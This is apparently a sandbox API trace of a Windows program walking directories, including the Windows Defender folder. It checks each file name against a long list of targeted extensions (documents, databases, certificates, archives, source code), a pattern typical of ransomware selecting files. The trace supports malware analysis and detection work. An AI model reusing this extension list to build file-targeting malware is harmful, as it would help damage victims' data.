	[0179.858] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".mpeg") returned 5
	[0179.858] lstrcmpiW (lpString1=".mpeg", lpString2="k.xml") returned -1
	[0179.858] lstrlenW (lpString=".mpg") returned 4
	[0179.858] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".mpv") returned 4
	[0179.858] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".mrw") returned 4
	[0179.858] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".msg") returned 4
	[0179.858] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".mxl") returned 4
	[0179.858] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".myd") returned 4
	[0179.858] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1
	[0179.858] lstrlenW (lpString=".myi") returned 4
	[0179.858] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".nef") returned 4
	[0179.859] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".nrw") returned 4
	[0179.859] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".obj") returned 4
	[0179.859] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".odb") returned 4
	[0179.859] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".odc") returned 4
	[0179.859] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".odm") returned 4
	[0179.859] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".odp") returned 4
	[0179.859] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".ods") returned 4
	[0179.859] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".oft") returned 4
	[0179.859] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".one") returned 4
	[0179.859] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".onepkg") returned 7
	[0179.859] lstrcmpiW (lpString1=".onepkg", lpString2="ask.xml") returned -1
	[0179.859] lstrlenW (lpString=".onetoc2") returned 8
	[0179.859] lstrcmpiW (lpString1=".onetoc2", lpString2="Task.xml") returned -1
	[0179.859] lstrlenW (lpString=".opt") returned 4
	[0179.859] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".oqy") returned 4
	[0179.859] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".orf") returned 4
	[0179.859] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".p12") returned 4
	[0179.859] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1
	[0179.859] lstrlenW (lpString=".p7b") returned 4
	[0179.860] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".p7c") returned 4
	[0179.860] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pam") returned 4
	[0179.860] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pbm") returned 4
	[0179.860] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pct") returned 4
	[0179.860] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pcx") returned 4
	[0179.860] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pdd") returned 4
	[0179.860] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pdf") returned 4
	[0179.860] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pdp") returned 4
	[0179.860] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pef") returned 4
	[0179.860] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pem") returned 4
	[0179.860] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pff") returned 4
	[0179.860] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pfm") returned 4
	[0179.860] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pfx") returned 4
	[0179.860] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".pgm") returned 4
	[0179.860] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".php") returned 4
	[0179.860] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1
	[0179.860] lstrlenW (lpString=".php3") returned 5
	[0179.860] lstrcmpiW (lpString1=".php3", lpString2="k.xml") returned -1
	[0179.860] lstrlenW (lpString=".php4") returned 5
	[0179.861] lstrcmpiW (lpString1=".php4", lpString2="k.xml") returned -1
	[0179.861] lstrlenW (lpString=".php5") returned 5
	[0179.861] lstrcmpiW (lpString1=".php5", lpString2="k.xml") returned -1
	[0179.861] lstrlenW (lpString=".phtml") returned 6
	[0179.861] lstrcmpiW (lpString1=".phtml", lpString2="sk.xml") returned -1
	[0179.861] lstrlenW (lpString=".pict") returned 5
	[0179.861] lstrcmpiW (lpString1=".pict", lpString2="k.xml") returned -1
	[0179.861] lstrlenW (lpString=".pl") returned 3
	[0179.861] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1
	[0179.861] lstrlenW (lpString=".pls") returned 4
	[0179.861] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1
	[0179.861] lstrlenW (lpString=".pm") returned 3
	[0179.861] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1
	[0179.861] lstrlenW (lpString=".png") returned 4
	[0179.861] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1
	[0179.861] lstrlenW (lpString=".pnm") returned 4
	[0179.861] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1
	[0179.861] lstrlenW (lpString=".pot") returned 4
	[0179.861] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1
	[0179.861] lstrlenW (lpString=".potm") returned 5
	[0179.861] lstrcmpiW (lpString1=".potm", lpString2="k.xml") returned -1
	[0179.861] lstrlenW (lpString=".potx") returned 5
	[0179.861] lstrcmpiW (lpString1=".potx", lpString2="k.xml") returned -1
	[0179.861] lstrlenW (lpString=".ppa") returned 4
	[0179.861] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1
	[0179.861] lstrlenW (lpString=".ppam") returned 5
	[0179.861] lstrcmpiW (lpString1=".ppam", lpString2="k.xml") returned -1
	[0179.861] lstrlenW (lpString=".ppm") returned 4
	[0179.861] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1
	[0179.861] lstrlenW (lpString=".pps") returned 4
	[0179.861] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1
	[0179.861] lstrlenW (lpString=".ppsm") returned 5
	[0179.861] lstrcmpiW (lpString1=".ppsm", lpString2="k.xml") returned -1
	[0180.005] lstrlenW (lpString=".ppt") returned 4
	[0180.005] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0180.005] lstrlenW (lpString=".pptm") returned 5
	[0180.005] lstrcmpiW (lpString1=".pptm", lpString2="k.xml") returned -1
	[0180.005] lstrlenW (lpString=".pptx") returned 5
	[0180.005] lstrcmpiW (lpString1=".pptx", lpString2="k.xml") returned -1
	[0180.005] lstrlenW (lpString=".prn") returned 4
	[0180.005] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1
	[0180.005] lstrlenW (lpString=".ps") returned 3
	[0180.005] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1
	[0180.005] lstrlenW (lpString=".psb") returned 4
	[0180.005] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1
	[0180.005] lstrlenW (lpString=".psd") returned 4
	[0180.005] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1
	[0180.005] lstrlenW (lpString=".pst") returned 4
	[0180.005] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1
	[0180.005] lstrlenW (lpString=".ptx") returned 4
	[0180.006] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1
	[0180.006] lstrlenW (lpString=".pub") returned 4
	[0180.006] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1
	[0180.006] lstrlenW (lpString=".pwm") returned 4
	[0180.006] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1
	[0180.006] lstrlenW (lpString=".pxr") returned 4
	[0180.006] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1
	[0180.006] lstrlenW (lpString=".py") returned 3
	[0180.006] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1
	[0180.006] lstrlenW (lpString=".qt") returned 3
	[0180.006] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1
	[0180.006] lstrlenW (lpString=".r3d") returned 4
	[0180.006] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1
	[0180.006] lstrlenW (lpString=".raf") returned 4
	[0180.006] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1
	[0180.006] lstrlenW (lpString=".rar") returned 4
	[0180.006] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0180.006] lstrlenW (lpString=".raw") returned 4
	[0180.006] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1
	[0180.006] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 0
	[0180.006] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0180.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0180.006] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e88ea20, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e88ea20, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0180.007] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0180.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e88ea20, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e88ea20, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0180.007] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e88ea20, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e88ea20, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0180.007] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758357f0, ftCreationTime.dwHighDateTime=0x1d5c24d, ftLastAccessTime.dwLowDateTime=0xd17754a0, ftLastAccessTime.dwHighDateTime=0x1d5abd5, ftLastWriteTime.dwLowDateTime=0xd17754a0, ftLastWriteTime.dwHighDateTime=0x1d5abd5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="3dftp.exe", cAlternateFileName="")) returned 1
	[0180.007] lstrlenW (lpString="3dftp.exe") returned 9
	[0180.007] lstrlenW (lpString=".1cd") returned 4
	[0180.007] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0180.007] lstrlenW (lpString=".3ds") returned 4
	[0180.007] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0180.007] lstrlenW (lpString=".3fr") returned 4
	[0180.007] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0180.007] lstrlenW (lpString=".3g2") returned 4
	[0180.007] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0180.007] lstrlenW (lpString=".3gp") returned 4
	[0180.007] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0180.007] lstrlenW (lpString=".7z") returned 3
	[0180.008] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0180.008] lstrlenW (lpString=".accda") returned 6
	[0180.008] lstrcmpiW (lpString1=".accda", lpString2="tp.exe") returned -1
	[0180.008] lstrlenW (lpString=".accdb") returned 6
	[0180.008] lstrcmpiW (lpString1=".accdb", lpString2="tp.exe") returned -1
	[0180.008] lstrlenW (lpString=".accdc") returned 6
	[0180.008] lstrcmpiW (lpString1=".accdc", lpString2="tp.exe") returned -1
	[0180.008] lstrlenW (lpString=".accde") returned 6
	[0180.008] lstrcmpiW (lpString1=".accde", lpString2="tp.exe") returned -1
	[0180.008] lstrlenW (lpString=".accdt") returned 6
	[0180.008] lstrcmpiW (lpString1=".accdt", lpString2="tp.exe") returned -1
	[0180.008] lstrlenW (lpString=".accdw") returned 6
	[0180.008] lstrcmpiW (lpString1=".accdw", lpString2="tp.exe") returned -1
	[0180.008] lstrlenW (lpString=".adb") returned 4
	[0180.008] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0180.008] lstrlenW (lpString=".adp") returned 4
	[0180.008] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0180.008] lstrlenW (lpString=".ai") returned 3
	[0180.008] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0180.008] lstrlenW (lpString=".ai3") returned 4
	[0180.008] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0180.008] lstrlenW (lpString=".ai4") returned 4
	[0180.008] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0180.008] lstrlenW (lpString=".ai5") returned 4
	[0180.008] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0180.008] lstrlenW (lpString=".ai6") returned 4
	[0180.008] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0180.008] lstrlenW (lpString=".ai7") returned 4
	[0180.008] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0180.008] lstrlenW (lpString=".ai8") returned 4
	[0180.008] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0180.008] lstrlenW (lpString=".anim") returned 5
	[0180.009] lstrcmpiW (lpString1=".anim", lpString2="p.exe") returned -1
	[0180.009] lstrlenW (lpString=".arw") returned 4
	[0180.009] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0180.009] lstrlenW (lpString=".as") returned 3
	[0180.009] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0180.009] lstrlenW (lpString=".asa") returned 4
	[0180.009] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0180.009] lstrlenW (lpString=".asc") returned 4
	[0180.009] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0180.009] lstrlenW (lpString=".ascx") returned 5
	[0180.009] lstrcmpiW (lpString1=".ascx", lpString2="p.exe") returned -1
	[0180.009] lstrlenW (lpString=".asm") returned 4
	[0180.009] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0180.009] lstrlenW (lpString=".asmx") returned 5
	[0180.009] lstrcmpiW (lpString1=".asmx", lpString2="p.exe") returned -1
	[0180.009] lstrlenW (lpString=".asp") returned 4
	[0180.009] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0180.009] lstrlenW (lpString=".aspx") returned 5
	[0180.009] lstrcmpiW (lpString1=".aspx", lpString2="p.exe") returned -1
	[0180.009] lstrlenW (lpString=".asr") returned 4
	[0180.009] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0180.009] lstrlenW (lpString=".asx") returned 4
	[0180.009] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0180.009] lstrlenW (lpString=".avi") returned 4
	[0180.009] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0180.009] lstrlenW (lpString=".avs") returned 4
	[0180.009] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0180.009] lstrlenW (lpString=".backup") returned 7
	[0180.009] lstrcmpiW (lpString1=".backup", lpString2="ftp.exe") returned -1
	[0180.009] lstrlenW (lpString=".bak") returned 4
	[0180.009] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0180.009] lstrlenW (lpString=".bay") returned 4
	[0180.009] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0180.009] lstrlenW (lpString=".bd") returned 3
	[0180.010] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0180.010] lstrlenW (lpString=".bin") returned 4
	[0180.010] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0180.010] lstrlenW (lpString=".bmp") returned 4
	[0180.010] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0180.010] lstrlenW (lpString=".bz2") returned 4
	[0180.010] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0180.010] lstrlenW (lpString=".c") returned 2
	[0180.010] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0180.010] lstrlenW (lpString=".cdr") returned 4
	[0180.010] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0180.010] lstrlenW (lpString=".cer") returned 4
	[0180.010] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0180.010] lstrlenW (lpString=".cf") returned 3
	[0180.010] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0180.010] lstrlenW (lpString=".cfc") returned 4
	[0180.010] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0180.010] lstrlenW (lpString=".cfm") returned 4
	[0180.010] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0180.010] lstrlenW (lpString=".cfml") returned 5
	[0180.010] lstrcmpiW (lpString1=".cfml", lpString2="p.exe") returned -1
	[0180.010] lstrlenW (lpString=".cfu") returned 4
	[0180.010] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0180.010] lstrlenW (lpString=".chm") returned 4
	[0180.010] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
	[0180.010] lstrlenW (lpString=".cin") returned 4
	[0180.010] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0180.011] lstrlenW (lpString=".class") returned 6
	[0180.011] lstrcmpiW (lpString1=".class", lpString2="tp.exe") returned -1
	[0180.011] lstrlenW (lpString=".clx") returned 4
	[0180.011] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0180.011] lstrlenW (lpString=".config") returned 7
	[0180.011] lstrcmpiW (lpString1=".config", lpString2="ftp.exe") returned -1
	[0180.011] lstrlenW (lpString=".cpp") returned 4
	[0180.011] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0180.011] lstrlenW (lpString=".cr2") returned 4
	[0180.011] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0180.011] lstrlenW (lpString=".crt") returned 4
	[0180.011] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0180.011] lstrlenW (lpString=".crw") returned 4
	[0180.011] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0180.011] lstrlenW (lpString=".cs") returned 3
	[0180.011] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0180.011] lstrlenW (lpString=".css") returned 4
	[0180.011] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0180.011] lstrlenW (lpString=".csv") returned 4
	[0180.011] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0180.011] lstrlenW (lpString=".cub") returned 4
	[0180.012] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0180.012] lstrlenW (lpString=".dae") returned 4
	[0180.012] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0180.012] lstrlenW (lpString=".dat") returned 4
	[0180.012] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0180.012] lstrlenW (lpString=".db") returned 3
	[0180.012] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0180.012] lstrlenW (lpString=".dbf") returned 4
	[0180.012] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0180.012] lstrlenW (lpString=".dbx") returned 4
	[0180.012] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0180.012] lstrlenW (lpString=".dc3") returned 4
	[0180.012] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0180.012] lstrlenW (lpString=".dcm") returned 4
	[0180.012] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0180.012] lstrlenW (lpString=".dcr") returned 4
	[0180.012] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0180.012] lstrlenW (lpString=".der") returned 4
	[0180.012] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0180.012] lstrlenW (lpString=".dib") returned 4
	[0180.012] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0180.012] lstrlenW (lpString=".dic") returned 4
	[0180.012] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0180.012] lstrlenW (lpString=".dif") returned 4
	[0180.012] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0180.012] lstrlenW (lpString=".divx") returned 5
	[0180.012] lstrcmpiW (lpString1=".divx", lpString2="p.exe") returned -1
	[0180.013] lstrlenW (lpString=".djvu") returned 5
	[0180.013] lstrcmpiW (lpString1=".djvu", lpString2="p.exe") returned -1
	[0180.013] lstrlenW (lpString=".dng") returned 4
	[0180.013] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0180.013] lstrlenW (lpString=".doc") returned 4
	[0180.013] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0180.013] lstrlenW (lpString=".docm") returned 5
	[0180.013] lstrcmpiW (lpString1=".docm", lpString2="p.exe") returned -1
	[0180.013] lstrlenW (lpString=".docx") returned 5
	[0180.013] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0180.013] lstrlenW (lpString=".dot") returned 4
	[0180.013] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0180.013] lstrlenW (lpString=".dotm") returned 5
	[0180.013] lstrcmpiW (lpString1=".dotm", lpString2="p.exe") returned -1
	[0180.013] lstrlenW (lpString=".dotx") returned 5
	[0180.013] lstrcmpiW (lpString1=".dotx", lpString2="p.exe") returned -1
	[0180.013] lstrlenW (lpString=".dpx") returned 4
	[0180.013] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0180.013] lstrlenW (lpString=".dqy") returned 4
	[0180.013] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0180.013] lstrlenW (lpString=".dsn") returned 4
	[0180.013] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0180.013] lstrlenW (lpString=".dt") returned 3
	[0180.013] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0180.013] lstrlenW (lpString=".dtd") returned 4
	[0180.013] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0180.013] lstrlenW (lpString=".dwg") returned 4
	[0180.013] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0180.014] lstrlenW (lpString=".dwt") returned 4
	[0180.014] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0180.014] lstrlenW (lpString=".dx") returned 3
	[0180.014] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0180.014] lstrlenW (lpString=".dxf") returned 4
	[0180.014] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0180.014] lstrlenW (lpString=".edml") returned 5
	[0180.014] lstrcmpiW (lpString1=".edml", lpString2="p.exe") returned -1
	[0180.014] lstrlenW (lpString=".efd") returned 4
	[0180.014] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0180.014] lstrlenW (lpString=".elf") returned 4
	[0180.014] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0180.014] lstrlenW (lpString=".emf") returned 4
	[0180.014] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0180.014] lstrlenW (lpString=".emz") returned 4
	[0180.014] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0180.014] lstrlenW (lpString=".epf") returned 4
	[0180.014] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0180.014] lstrlenW (lpString=".eps") returned 4
	[0180.014] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0180.014] lstrlenW (lpString=".epsf") returned 5
	[0180.014] lstrcmpiW (lpString1=".epsf", lpString2="p.exe") returned -1
	[0180.014] lstrlenW (lpString=".epsp") returned 5
	[0180.014] lstrcmpiW (lpString1=".epsp", lpString2="p.exe") returned -1
	[0180.014] lstrlenW (lpString=".erf") returned 4
	[0180.014] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0180.014] lstrlenW (lpString=".exr") returned 4
	[0180.014] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0180.014] lstrlenW (lpString=".f4v") returned 4
	[0180.015] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0180.015] lstrlenW (lpString=".fido") returned 5
	[0180.015] lstrcmpiW (lpString1=".fido", lpString2="p.exe") returned -1
	[0180.015] lstrlenW (lpString=".flm") returned 4
	[0180.015] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0180.015] lstrlenW (lpString=".flv") returned 4
	[0180.015] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0180.015] lstrlenW (lpString=".frm") returned 4
	[0180.015] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0180.015] lstrlenW (lpString=".fxg") returned 4
	[0180.015] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0180.015] lstrlenW (lpString=".geo") returned 4
	[0180.015] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0180.015] lstrlenW (lpString=".gif") returned 4
	[0180.015] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0180.015] lstrlenW (lpString=".grs") returned 4
	[0180.015] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0180.015] lstrlenW (lpString=".gz") returned 3
	[0180.015] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0180.015] lstrlenW (lpString=".h") returned 2
	[0180.015] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0180.015] lstrlenW (lpString=".hdr") returned 4
	[0180.015] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0180.015] lstrlenW (lpString=".hpp") returned 4
	[0180.015] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0180.015] lstrlenW (lpString=".hta") returned 4
	[0180.015] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0180.016] lstrlenW (lpString=".htc") returned 4
	[0180.016] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0180.016] lstrlenW (lpString=".htm") returned 4
	[0180.016] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0180.016] lstrlenW (lpString=".html") returned 5
